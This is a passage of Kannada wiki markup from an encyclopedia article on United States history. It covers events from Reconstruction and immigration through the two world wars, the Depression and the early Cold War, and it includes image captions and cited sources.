ರಾಜ್ಯಗಳು ಕಾನ್ಫೆಡರಸಿಯನ್ನು ಸೇರಿದವು. ಲಿಂಕನ್ನರ [[ದಾಸ್ಯಮುಕ್ತಿಯ ಉದ್ಘೋಷಣೆ]]ಯು ಗುಲಾಮಗಿರಿಯನ್ನು ಕೊನೆಗೊಳಿಸುವಲ್ಲಿ [[ಒಕ್ಕೂಟ (ಅಮೆರಿಕದ ಆಂತರಿಕ ಯುದ್ಧ)|ಯೂನಿಯನ್‌‌]]ನ್ನು ಬದ್ಧನಾಗಿಸಿತು. 1865ರ ಯೂನಿಯನ್ ವಿಜಯದ ನಂತರ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನಕ್ಕೆ ಮೂರು ತಿದ್ದುಪಡಿಗಳನ್ನು ಮಾಡಿ ಸುಮಾರು ನಾಲ್ಕು ಮಿಲಿಯನ್‌ [[ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್|ಆಫ್ರಿಕಾದ ಅಮೆರಿಕನ್]] ಗುಲಾಮರನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಹದಿಮೂರನೆ ತಿದ್ದುಪಡಿ|ಸ್ವತಂತ್ರರನ್ನಾಗಿಸಲಾಯಿತು]]<ref>{{cite web|url=http://www2.census.gov/prod2/decennial/documents/1860a-02.pdf|title=1860 Census|publisher=U.S. Census Bureau|accessdate=2007-06-10}} ಪೇಜ್ 7 ಲಿಸ್ಟ್ಸ್ ಎ ಟೋಟಲ್ ಸ್ಲೇವ್ ಪಾಪ್ಯುಲೇಶನ್ ಆಫ್ 3,953,760.</ref>. ಅವರನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಹದಿನಾಲ್ಕನೆ ತಿದುಪಡಿ|ನಾಗರಿಕರನ್ನಾಗಿಸಿ]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನದ ಹದಿನೈದನೆ ತಿದ್ದುಪಡಿ|ಮತ ಚಲಾವಣೆಯ ಹಕ್ಕುಗಳನ್ನು ನೀಡಲಾಯಿತು]]. ಈ ಸಮರ ಮತ್ತು ತೀರ್ಮಾನಗಳು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಫೆಡರಲಿಸಂ|ಫೆಡರಲ್ ಶಕ್ತಿಯ]] ಸದೃಢ ಅಭಿವೃದ್ಧಿಗೆ ನಾಂದಿಯಾಯಿತು.<ref>ಡೆ ರೋಸಾ, ಮಾರ್ಶಲ್ ಎಲ್. (1997). ''ದಿ ಪಾಲಿಟಿಕ್ಸ್ ಆಫ್ ಡಿಸ್ಸೊಲ್ಯುಶನ್: ದಿ ಕ್ವೆಸ್ಟ್ ಫಾರ್ ಎ ನ್ಯಾಶನಲ್ ಐಡೆಂಟಿಟಿ ಅಂಡ್ ದಿ ಅಮೆರಿಕನ್ ಸಿವಿಲ್ ವಾರ್'' . ಎಡಿಸನ್, ಎನ್‌ಜೆ: ಟ್ರಾನ್ಸಾಕ್ಷನ್, p. 266ISBN 1-56000-349-9.</ref> [[ಚಿತ್ರ:Ellis island 1902.jpg|thumb|ಇಲ್ಲಿಸ್ ದ್ವೀಪದಲ್ಲಿ ವಲಸೆಗಾರರ ನೆಲೆ, ನ್ಯೂಯಾರ್ಕ್, 1902]] [[ಅಬ್ರಹಾಂ ಲಿಂಕನ್ ಹತ್ಯೆ|ಲಿಂಕನ್ನರ ಕೊಲೆ]]ಯಿಂದಾಗಿ [[ತೀವ್ರ ಪ್ರಜಾಪ್ರಭುತ್ವವಾದ|ರಿಪಬ್ಲಿಕನ್ ಮೂಲಸ್ವರೂಪ]]ದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪುನರ್‍ರಚನೆಯ ಯುಗ|ಪುನರ್‌ನಿರ್ಮಾಣ]] ನಿಯಮವು ದಕ್ಷಿಣದ ರಾಜ್ಯಗಳ ನಿಯಮಾವಳಿಗಳ ಸಂಘಟನೆ ಮತ್ತು ಪುನರ್ಸ್ಥಾಪನೆಯಾಯಿತು. ಮತ್ತು ಅದೇ ವೇಳೆ ಹೊಸದಾಗಿ ಮುಕ್ತರಾದ ಗುಲಾಮರ ಹಕ್ಕುಗಳ ರಕ್ಷಣೆಯನ್ನೂ ಕೈಗೊಳ್ಳಲಾಯಿತು. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ,1876|1876ರ ವಿವಾದಿತ ಅಧ್ಯಕ್ಷೀಯ ಚುನವಣೆ]]ಯು [[1877ರ ಸಂಧಾನ|1877ರ ಒಪ್ಪಂದ]]ದೊಂದಿಗೆ ಪುನ್‌ನಿರ್ಮಾಣವು ಕೊನೆಗೊಂಡಿತು. [[ಜಿಮ್ ಕ್ರೊ ಕಾನೂನುಗಳು|ಜಿಮ್ ಕ್ರೋವ್ ಕಾನೂನು]] ಹಲವು [[ಪುನರ್‍ರಚನೆ ಯುಗದ ನಂತರ ಪೌರಹಕ್ಕಿನ ಅರ್ಹತೆ ಇಲ್ಲದಿರುವುದು (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ‍)|ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ನರ ಮತದಾನದ ಹಕ್ಕುಗಳನ್ನು ಕಸಿದುಕೊಂಡಿತು]]. ಉತ್ತರದಲ್ಲಿ ನಗರೀಕರಣದಿಂದಾಗಿ ಮತ್ತು [[ದಕ್ಷಿಣ ಯುರೋಪ್|ದಕ್ಷಿಣ]]ದಿಂದ ಅಭೂತಪೂರ್ವವಾಗಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ವಲಸೆ # ವಲಸೆ 1850 ರಿಂದ 1930|ಹರಿದು ಬಂದ ವಲಸೆಗಾರರ ಪ್ರವಾಹ]]ವು ಹಾಗೂ [[ಪೂರ್ವ ಯುರೋಪ್|ಪೂರ್ವ ಯುರೋಪ್‌]]ನಿಂದಾಗಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ತಾಂತ್ರಿಕ ಮತ್ತು ಕೈಗಾರಿಕಾ ಇತಿಹಾಸ# ತಾಂತ್ರಿಕ ವ್ಯವಸ್ಥೆ ಮತ್ತು ಮೂಲಭೂತ ಸೌಕರ್ಯ.|ದೇಶದ ಔದ್ಯಮೀಕರಣ]] ಅಭಿವೃದ್ಧಿಯಾಯಿತು. ವಲಸೆಗಾರ ಪ್ರವಾಹವು 1929ರ ವರೆಗೂ ಕಾರ್ಮಿಕರನ್ನು ಮತ್ತು ಅಮೆರಿಕ ಸಂಸ್ಕೃತಿಯನ್ನು ಪ್ರಸರಿಸಿತು. ರಾಷ್ಟ್ರೀಯ ಮೂಲಸೌಲಭ್ಯಗಳ ಬೆಳವಣಿಗೆಯು ಆರ್ಥಿಕ ಬೆಳವಣಿಗೆಯನ್ನು ಪ್ರಚೋದಿಸಿತು. 1867ರಲ್ಲಿ ರಷ್ಯಾದಿಂದ ಮಾಡಿದ [[ಅಲಸ್ಕ ಖರೀದಿ|ಅಲಾಸ್ಕಾ ಖರೀದಿ]]ಯು ದೇಶದ ಮುಖ್ಯಭೂಮಿಯ ವಿಸ್ತಾರವನ್ನು ಕೊನೆಗೊಳಿಸಿತು. 1890ರ [[ವೂಂಡೆಡ್ ನೀ ಕಗ್ಗೊಲೆ|ಗಾಯಗೊಂಡ ಮಂಡಿಯ ನರಮೇಧ]]ವು ಇಂಡಿಯನ್ ಸಮರಗಳಲ್ಲೇ ಬಹುಮುಖ್ಯವಾದ ಸೈನಿಕ ಘರ್ಷಣೆಯು ಅಮೆರಿಕಾದ ನಾಗರಿಕರ ಮುಂದಾಳತ್ವದಲ್ಲಿನ ಕ್ರಾಂತಿಯು [[ಹವಾಯಿ ಸಾಮ್ರಾಜ್ಯ|ಹವಾಯಿಯ ಪೆಸಿಫಿಕ್ ಸಾಮ್ರಾಜ್ಯ]]ದ [[ಪುರಾತನ ಹವಾಯಿ|ಸ್ಥಳೀಯ ಆಡಳಿತ]]ವನ್ನು 1893ರಲ್ಲಿ ಸೋಲಿಸಿತು ಹಾಗೂ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು 1898ರಲ್ಲಿ ದ್ವೀಪಸಮೂಹವನ್ನು ವಶಪಡಿಸಿಕೊಂಡಿತು. [[ಸ್ಪೈನ್ - ಅಮೆರಿಕನ್ ಸಮರ|ಸ್ಪಾನಿಷ್ - ಅಮೆರಿಕನ್ ಸಮರ]]ದಲ್ಲಿನ ವಿಜಯದ ನಂತರ ಅದೇ ವರ್ಷವೇ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಶ್ರೇಷ್ಠ ಅಧಿಕಾರ|ಜಗತ್ತಿನ ಅತ್ಯಂತ ಶಕ್ತಿಯುತ]] ರಾಷ್ಟ್ರ ಎಂದು ಗುರುತಿಸಿಕೊಂಡಿತು ಮತ್ತು [[ಫಿಲಿಪೀನ್ಸ್‌|ಫಿಲಿಪ್ಪೀನ್ಸ್]], ಪ್ಯೂರ್ಟೋ ರಿಕೋ ಮತ್ತು ಗುವಾಮನ್ನು ವಶಪಡಿಸಿಕೊಂಡಿತು.<ref>{{cite web|author=Gates, John M.|url=http://www3.wooster.edu/History/jgates/book-ch3.html|title=War-Related Deaths in the Philippines|work=Pacific Historical Review|publisher=College of Wooster|date=August 1984|accessdate=2007-09-27}}</ref> ಅರ್ಧ ಶತಮಾನದ ನಂತರ ಫಿಲಿಪ್ಪೀನ್ಸ್ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆಯಿತು ಮತ್ತು ಪ್ಯೂರ್ಟೋ ರಿಕೋ ಮತ್ತು ಗುವಾಮ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆಡಳಿತದಲ್ಲೇ ಉಳಿಯಿತು. === ಮೊದಲ ಜಾಗತಿಕ ಯುದ್ಧ, ಮಹಾ ಆರ್ಥಿಕ ಕುಸಿತ, ಮತ್ತು ಎರಡನೇ ಜಾಗತಿಕ ಯುದ್ಧ. === {{seealso|American Expeditionary Force|Great Depression in the United States|Military history of the United States during World War II}} [[ಚಿತ್ರ:Dust Bowl - Dallas, South Dakota 1936.jpg|thumb|left|ಡಸ್ಟ್ ಬೌಲ್ ಸಂದರ್ಭದಲ್ಲಿ ದಕ್ಷಿಣ ಡಕೊಟಾದಲ್ಲಿ ಒಂದು ಪರಿತ್ಯಕ್ತ ಕೃಷಿಭೂಮಿ, 1936]] [[I ನೇ ವಿಶ್ವ ಸಮರ|1914ರ ಮೊದಲ ಜಾಗತಿಕ ಯುದ್ಧ]]ದ ಪ್ರಾರಂಭದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ನಿರ್ಲಿಪ್ತವಾಗಿದ್ದಿತು. ಅಮೆರಿಕದ ಹೆಚ್ಚಿನ ಪ್ರಜೆಗಳು ಬ್ರಿಟಿಷ್ ಮತ್ತು ಫ್ರೆಂಚರಿಗೆ ಸಹಾನುಭೂತಿ ತೋರಿಸಿದರು, ಆದರೂ ಬಹಳಷ್ಟು ಜನರು ಅಮೆರಿಕದ ಭಾಗವಹಿಸುವಿಕೆಯನ್ನು ವಿರೋಧಿಸಿದರು.<ref> ಫಾನರ್, ಎರಿಕ್, ಅಂಡ್ ಜಾನ್ ಎ. ಗರೆಟಿ (1991). ''ದಿ ರೀಡರ್ಸ್ ಕಂಪಾನಿಯನ್ ಟು ಅಮೆರಿಕನ್ ಹಿಸ್ಟರಿ.'' ನ್ಯೂಯಾರ್ಕ್: ಹೌಟನ್ ಮಿಫ್ಲಿನ್, p. 576.ISBN 0-395-51372-3.</ref> 1917ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[I ನೇ ವಿಶ್ವ ಸಮರದ ಮಿತ್ರರಾಷ್ಟ್ರಗಳು|ಒಕ್ಕೂಟ]]ವನ್ನು ಸೇರಿತು. [[ಕೇಂದ್ರ ಶಕ್ತಿಗಳು|ಕೇಂದ್ರ ಶಕ್ತಿಯ]] ವಿರುದ್ಧ ಪ್ರವಾಹವನ್ನು ತಿರುಗಿಸಿತು. [[ರಾಷ್ಟ್ರಗಳ ಒಕ್ಕೂಟ|ಲೀಗ್ ಆಫ್ ನೇಶನ್ಸ್]] ಸಂಸ್ಥಾಪಿಸಿದ [[ವರ್ಸೈಲ್ಸ್ ಒಪ್ಪಂದ (1919)|ವರ್ಸೈಲ್ ಒಪ್ಪಂದ]]ವನ್ನು ಸಮರದ ನಂತರ ಸಂಸತ್ತು ಅಂಗೀಕರಿಸಲಿಲ್ಲ. [[ಪ್ರತ್ಯೇಕತಾ ನೀತಿ|ಪ್ರತ್ಯೇಕತಾವಾದದ]] ಅಂಚಿನಲ್ಲಿ [[ಏಕಪಕ್ಷೀಯತೆ]]ಯ ನಿಯಮವನ್ನು ದೇಶವು ಹಿಂಬಾಲಿಸಿತು.<ref>ಮೆಕ್‌ಡಫೀ, ಜೆರೋಮ್, ಗ್ಯಾರಿ ವೇಯ್ನ್ ಪಿಗ್ರೆಮ್, ಅಂಡ್ ಸ್ಟೀವನ್ ಈ.ವುಡ್‌ವರ್ಥ್ (2005). ''ಯು.ಎಸ್.ಹಿಸ್ಟರಿ ಸೂಪರ್ ರಿವ್ಯೂ'' . ಪಿಸ್ಕ್ಯಾಟ್‌ವೇ, ಎನ್‌ಜೆ: ರೀಸರ್ಚ್ ಅಂಡ್ ಎಜುಕೇಶನ್ ಅಸೋಸಿಯೇನ್, p. 418. ISBN 0-7386-0070-9.</ref> 1920ರಲ್ಲಿ [[ಮಹಿಳೆಯರ ಹಕ್ಕು|ಸ್ತ್ರೀ ಹಕ್ಕು]] ಚಳುವಳಿಯಿಂದಾಗಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಹತ್ತೊಂಬತ್ತನೇ ತಿದ್ದುಪಡಿ|ಸಂವಿಧಾನದ ತಿದ್ದುಪಡಿ]]ಯು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಮಹಿಳೆಯರ ಮತದಾನದಹಕ್ಕು|ಸ್ತ್ರೀಯರ ಮತದಾನ]]ದ ಹಕ್ಕನ್ನು ಗೌರವಿಸಿತು. [[1929ರ ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಕ್ರಾಶ್|1929ರ ವಾಲ್‌ಸ್ಟ್ರೀಟ್ ಕ್ರಾಶ್‌]]ನೊಂದಿಗೆ [[ರೋರಿಂಗ್ ಟ್ವೆಂಟಿಸ್|ರೋರಿಂಗ್ ಟ್ವೆಂಟೀಸ್‌]] ಎಂಬ 1920 ರ ದಶಕದ ಬೆಳವಣಿಗೆಯು ಕೊನೆಗೊಂಡಿತು. ಇದು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮಹಾ ಆರ್ಥಿಕಮುಗ್ಗಟ್ಟು|ಮಹಾ ಅರ್ಥಿಕ ಕುಸಿತ]]ಕ್ಕೆ ನಾಂದಿಯಾಯಿತು. 1932ರ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯಲ್ಲಿ ಆರಿಸಿ ಬಂದ [[ಫ್ರಾಂಕ್‌ಲಿನ್ ಡಿ.ರೂಸವೆಲ್ಟ್|ಫ್ರಾಂಕ್ಲಿನ್ ಡಿ ರೂಸ್‌ವೆಲ್ಟ್]] [[ಹೊಸ ವ್ಯವಹಾರ|ಹೊಸ ನಿಯಮ]]ಗಳನ್ನು ತಂದರು. ಈ ನಿಯಮಾವಳಿಗಳು ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಸರ್ಕಾರದ ಹಸ್ತಕ್ಷೇಪವನ್ನು ಹೆಚ್ಚಿಸಿತು. 1930ರ ಮಧ್ಯಕಾಲದಲ್ಲಿ [[ಡಸ್ಟ್ ಬೌಲ್|ಡಸ್ಟ್ ಬೋವ್ಲ್‌]]ನಿಂದಾಗಿ ಹಲವಾರು ಕೃಷಿ ಸಮುದಾಯಗಳ ಬಡತನಕ್ಕೆ ಕಾರಣವಾಯಿತು ಮತ್ತು ಪಶ್ಚಿಮದ ವಲಸೆಗಾರರಿಗೆ ಹೊಸ ಉತ್ಸಾಹವನ್ನು ತುಂಬಿತು. [[ಚಿತ್ರ:1944 NormandyLST.jpg|thumb| ಡಿ-ದಿನದಂದು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೊದಲ ಕಾಲ್ದಳದ ತುಕಡಿಯು ನೊರ್ಮಾಂಡಿಯಲ್ಲಿ ಜೂನ್ 6, 1944ರಲ್ಲಿ ನೆಲೆಸಿತು.]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[II ನೇ ವಿಶ್ವ ಸಮರ|ಎರಡನೇ ಮಹಾಯುದ್ಧ]]ದ ಮೊದಲ ಹಂತದಲ್ಲಿ ಸಂಪೂರ್ಣವಾಗಿ ನಿರ್ಲಿಪ್ತತೆಯನ್ನು ಹೊಂದಿತ್ತು. 1939ರ ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ [[ನಾಜಿ ಜರ್ಮನಿ|ನಾಝಿ ಜರ್ಮನಿ]]ಯು [[ಪೊಲ್ಯಾಂಡ್ ದಂಡಯಾತ್ರೆ(1939)|ಪೋಲಾಂಡ್ ಮೇಲೆ ದಂಡೆತ್ತಿ]] ಬಂದ ನಂತರ 1941ರ ಮಾರ್ಚ್‌ನಲ್ಲಿ [[ಲೆಂಡ್ -ಲೀಸ್|ಲೆಂಡ್-ಲೀಸ್]] ಕಾರ್ಯಕ್ರಮದ ಮೂಲಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[IIನೇ ವಿಶ್ವ ಯುದ್ಧದ ಮಿತ್ರರಾಷ್ಟ್ರಗಳು|ಒಕ್ಕೂಟ]]ಕ್ಕೆ [[ಸಾಮಗ್ರಿ]]ಗಳನ್ನು ಒದಗಿಸಲು ಪ್ರಾರಂಭಿಸಿತು. [[ಜಪಾನ್ ಸಾಮ್ರಾಜ್ಯ]]ವು [[ಪರ್ಲ್ ಹಾರ್ಬರ್ ಮೇಲೆ ದಾಳಿ|ಪರ್ಲ್‌ ಹಾರ್ಬರ್ ಮೇಲೆ ಡಿಸೆಂಬರ್ 7, 1941ರಂದು ಆಕಸ್ಮಿಕ ದಾಳಿ]]ಯನ್ನು ನಡೆಸಿತು. ಇದು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಆಕ್ಸಿಸ್ ಶಕ್ತಿಗಳು|ಅಕ್ಷ ರಾಷ್ಟ್ರ]]ಗಳ ವಿರುದ್ಧದ ಒಕ್ಕೂಟವನ್ನು ಸೇರುವುದಕ್ಕೆ ಪ್ರೇರಿಸಿತು. ಸಮರದಲ್ಲಿನ ಭಾಗವಹಿಸುವಿಕೆಯು ಬಂಡವಾಳ ಹೂಡಿಕೆ ಮತ್ತು ಉದ್ಯಮಗಳ ಸಾಮರ್ಥ್ಯಕ್ಕೆ ಉತ್ತೇಜನವನ್ನು ನೀಡಿತು. ಯುದ್ಧದಲ್ಲಿ ಭಾಗವಹಿಸಿದ ಅನೇಕ ರಾಷ್ಟ್ರಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಅಮೇರಿಕವೊಂದೇ ಯುದ್ಧದ ನಂತರ ಶ್ರೀಮಂತ ರಾಷ್ಟ್ರವಾಗಿದ್ದುದು. ದೊಡ್ಡ ಪ್ರಮಾಣದ ಕಾಳಗಕ್ಕೆ ಆಯುಧಗಳನ್ನು ಸರಬರಾಜು ಮಾಡುವ ಮೂಲಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ನಿಜಕ್ಕೂ ಶ್ರೀಮಂತವಾಯಿತು.<ref>ಕೆನ್ನೆಡಿ, ಪಾಲ್ (1989). ''ದಿ ರೈಸ್ ಅಂಡ್ ಫಾಲ್ ಆಫ್ ದಿ ಗ್ರೇಟ್ ಪಾವರ್ಸ್'' ನ್ಯೂಯಾರ್ಕ್ ವಿಂಟೇಜ್, p. 358. ISBN 0670728197.</ref> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಣಕಾಸಿನ ಮತ್ತು ಆರ್ಥಿಕ ಸಮ್ಮೇಳನ|ಬ್ರೆಟನ್ ವುಡ್ಸ್‌]] ಮತ್ತು [[ಯಾಲ್ಟಾ ಸಮ್ಮೇಳನ|ಯಾಲ್ಟಾ]]ನಲ್ಲಿನ ಒಕ್ಕೂಟದ ಸಮ್ಮೇಳನವು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಘಟನೆಗಳ ಹೊಸ ವ್ಯವಸ್ಥೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು. ಈ ವ್ಯವಸ್ಥೆಯಿಂದಾಗಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಮತ್ತು ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳು|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]] ಮತ್ತು [[ಸೋವಿತ್ ಯುನಿಯನ್ ಮತ್ತು ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳು|ಸೋವಿಯತ್ ಯೂನಿಯನ್‌]]ಗಳು ಜಗತ್ತಿನ ವಿದ್ಯಮಾನಗಳ ಕೇಂದ್ರಗಳಾಗಿ ಸ್ಥಾಪಿತಗೊಂಡವು. [[ಯುರೋಪ್ ದಿನದಲ್ಲಿ ವಿಜಯ|ಯುರೋಪ್‌ನಲ್ಲಿನ ವಿಜಯ]]ದ ನಂತರ 1945ರಲ್ಲಿ [[ಅಂತರ್‌ರಾಷ್ಟ್ರೀಯ ಒಕ್ಕೂಟದ ಬಗ್ಗೆ ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳ ಸಮ್ಮೇಳನ|ಅಂತರಾಷ್ಟ್ರೀಯ ಸಮ್ಮೇಳನ]]ವು [[ಸ್ಯಾನ್ ಫ್ರಾನ್‌ಸಿಸ್ಕೊ|ಸ್ಯಾನ್ ಫ್ರಾನ್ಸಿಸ್ಕೋ]] ದಲ್ಲಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳ ಚಾರ್ಟರ್|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸನ್ನದ]]ನ್ನು ಪ್ರಸ್ಥಾಪಿಸಿತು. ಇದು ಸಮರದ ನಂತರ ಕಾರ್ಯಪ್ರವೃತ್ತವಾಯಿತು.<ref>{{cite web|url=http://www.state.gov/r/pa/ho/pubs/fs/55407.htm|title=The United States and the Founding of the United Nations, August 1941–October 1945|month=October|year=2005|accessdate=2007-06-11|publisher=U.S. Dept. of State, Bureau of Public Affairs, Office of the Historian|archiveurl=https://web.archive.org/web/20051023164441/http://www.state.gov/r/pa/ho/pubs/fs/55407.htm|archivedate=2005-10-23|url-status=live}}</ref> [[ಮ್ಯಾನ್‌ಹಟ್ಟನ್ ಯೋಜನೆ|ಅಣ್ವಸ್ತ್ರಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ ಮೊಟ್ಟಮೊದಲ ರಾಷ್ಟ್ರ]]ವಾದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಪಾನಿನ [[ಹಿರೋಶಿಮಾ ಮತ್ತು ನಾಗಾಸಾಕಿ ಮೇಲೆ ಅಣು ಬಾಂಬ್ ದಾಳಿ|ಹಿರೋಶಿಮಾ ಮತ್ತು ನಾಗಾಸಾಕಿ]]ಗಳ ಮೇಲೆ ಅದನ್ನು ಆಗಸ್ಟ್‌ನಲ್ಲಿ ಪ್ರಯೋಗಿಸಿತು. [[ಜಪಾನ್‌ನ ಶರಣಾಗತಿ|ಜಪಾನ್ ಸೆಪ್ಟೆಂಬರ್ ಎರಡರಂದು ಶರಣಾಗತ]]ವಾಯಿತು ಮತ್ತು ಸಮರವು ಕೊನೆಗೊಂಡಿತು.<ref> ಪೆಸಿಫಿಕ್ ವಾರ್ ರೀಸರ್ಚ್ ಸೊಸೈಟಿ (2006). ''ಜಪಾನ್ಸ್ ಲಾಂಗೆಸ್ಟ್ ಡೇ'' ನ್ಯೂಯಾರ್ಕ್: ಆಕ್ಸ್ಫರ್ಡ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್.ISBN 4-7700-2887-3.</ref> === ಶೀತಲ ಸಮರ ಮತ್ತು ಪ್ರತಿಭಟನೆಯ ರಾಜಕೀಯ === {{seealso|Cold War|African-American Civil Rights Movement (1955–1968)|Vietnam War}} [[ಚಿತ್ರ:Martin Luther King - March on Washington.jpg|thumb|left|upright|ಮಾರ್ಟಿನ್ ಲೂಥರ್ ಕಿಂಗ್ , ಜ್ಯು. "ಏ ಹ್ಯಾವ್ ಎ ಡೀಮ್" ಭಾಷಣ ಮಾಡುವುದು, 1963]] ಎರಡನೇ ಮಹಾಯುದ್ಧದ ನಂತರ [[ಶೀತಲ ಸಮರ]]ದ ಸಮಯದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಮತ್ತು ಸೋವಿಯತ್ ಯೂನಿಯನ್‌ಗಳು ಪ್ರಾಬಲ್ಯಕ್ಕಾಗಿ ಮೋಸದ ವ್ಯಾಪಾರಗಳನ್ನು ಮಾಡಿದವು. ಜೊತೆಗೆ ಇವು [[ನ್ಯಾಟೋ]] ಮತ್ತು [[ವಾರ್ಸಾ ಒಪ್ಪಂದ|ವಾರ್ಸಾ ಕರಾರಿ]]ನ ಮೂಲಕ ಯುರೋಪ್‌ನ ಸೈನಿಕ ವ್ಯವಹಾರಗಳನ್ನು ನಿಯಂತ್ರಿಸಿದವು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಉದಾರ ಪ್ರಜಾಪ್ರಭುತ್ವ|ಪ್ರಗತಿಪರ ಪ್ರಜಾಪ್ರಭುತ್ವ]]ವನ್ನು ಮತ್ತು ಬಂಡವಾಳಶಾಹಿತ್ವವನ್ನು ಬೆಂಬಲಿಸಿತು. ಇದೇ ಸಮಯದಲ್ಲಿ ಕಮ್ಯುನಿಸಂ ಅನ್ನು ಮತ್ತು ಕೇಂದ್ರೀಕೃತ [[ಯೋಜನಾಬದ್ಧ ಆರ್ಥಿಕವ್ಯವಸ್ಥೆ|ಯೋಜಿತ ಆರ್ಥಿಕತೆ]]ಯನ್ನು ಸೋವಿಯತ್ ಯೂನಿಯನ್ ಬೆಂಬಲಿಸಿತು. ಎರಡೂ ರಾಷ್ಟ್ರಗಳು ನಿರಂಕುಶ ಅಧಿಕಾರತ್ವವನ್ನು ಬೆಂಬಲಿಸಿದವು ಮತ್ತು [[ಪ್ರೊಕ್ಸಿ ಯುದ್ಧ|ಪ್ರಾತಿನಿಧಿಕ ಸಮರ]]ದಲ್ಲಿ ತೊಡಗಿದವು. ಅಮೆರಿಕಾದ ಪಡೆಗಳು 1950-53 ರ [[ಕೊರಿಯನ್ ಯುದ್ಧ|ಕೊರಿಯನ್ ಸಮರ]]ದಲ್ಲಿ [[ಪೀಪಲ್ಸ್‌ ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ|ಚೀನಾದ ಕಮ್ಯುನಿಸ್ಟ]]ರ ಜೊತೆ ಯುದ್ಧ ನಡೆಸಿದವು. [[ಹೌಸ್ ಯುಎನ್ ಅಮೆರಿಕನ್ ಚಟುವಟಿಕೆಯ ಕಮಿಟಿ|ಹೌಸ್ ಅನ್-ಅಮೆರಿಕನ್ ಆ‍ಯ್‌ಕ್ಟಿವಿಟೀಸ್ ಕಮಿಟಿ]]ಯು ವ್ಯವಸ್ಥೆಯನ್ನು ಹದಗೆಡಿಸುವ ಎಡಪಂಥೀಯವಾದದ ಬಗ್ಗೆ ತನಿಖೆಯನ್ನು ಕೈಗೊಂಡಿತು. ಈ ಸಮಯದಲ್ಲಿ [[ಜೋಸೆಫ್ ಮ್ಯಾಕ್‌ಕಾರ್‍‌ತಿ|ಜೋಸೆಫ್ ಮೆಕಾರ್ಥಿ]]ಯವರು ಕಮ್ಯುನಿಸಂ ವಿರೋಧೀ ಸಂವೇದನೆಯ ಮುಖ್ಯವ್ಯಕ್ತಿಯಾಗಿ ಹೊರಹೊಮ್ಮಿದರು. 1961ರಲ್ಲಿ ಸೋವಿಯತ್ ಯೂನಿಯನ್ [[ವೊಸ್ಟೋಕ್-1|ಮೊದಲ ಮಾನವಸಹಿತ ವ್ಯೋಮನೌಕೆ]]ಯನ್ನು ಉಡಾಯಿಸಿತು. ಇದರ ಪ್ರಚೋದನೆಯಿಂದಾಗಿ ಅಧ್ಯಕ್ಷ [[ಜಾನ್ ಎಫ್. ಕೆನಡಿ|ಜಾನ್ ಎಫ್ ಕೆನಡಿ]]ಯವರು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವೇ ಮೊದಲು [[ಅಪೊಲೋ ಕಾರ್ಯಕ್ರಮ|"ಚಂದ್ರನ ಮೇಲೆ ಮಾನವ"]]ನನ್ನು ಕಳುಹಿಸಬೇಕು ಎಂದು ಕರೆ ನೀಡಿದರು, ಅದನ್ನು 1969ರಲ್ಲಿ ಯಶಸ್ವಿಯಾಗಿಸಿದರು. ಆದರೆ ನಂತರದಲ್ಲಿ ಸೋವಿಯತ್ ಸೇನೆಯು ಕ್ಯೂಬಾದಲ್ಲಿ ನಡೆಸಿದ [[ಕ್ಯೂಬಾದ ಕ್ಷಿಪಣಿ 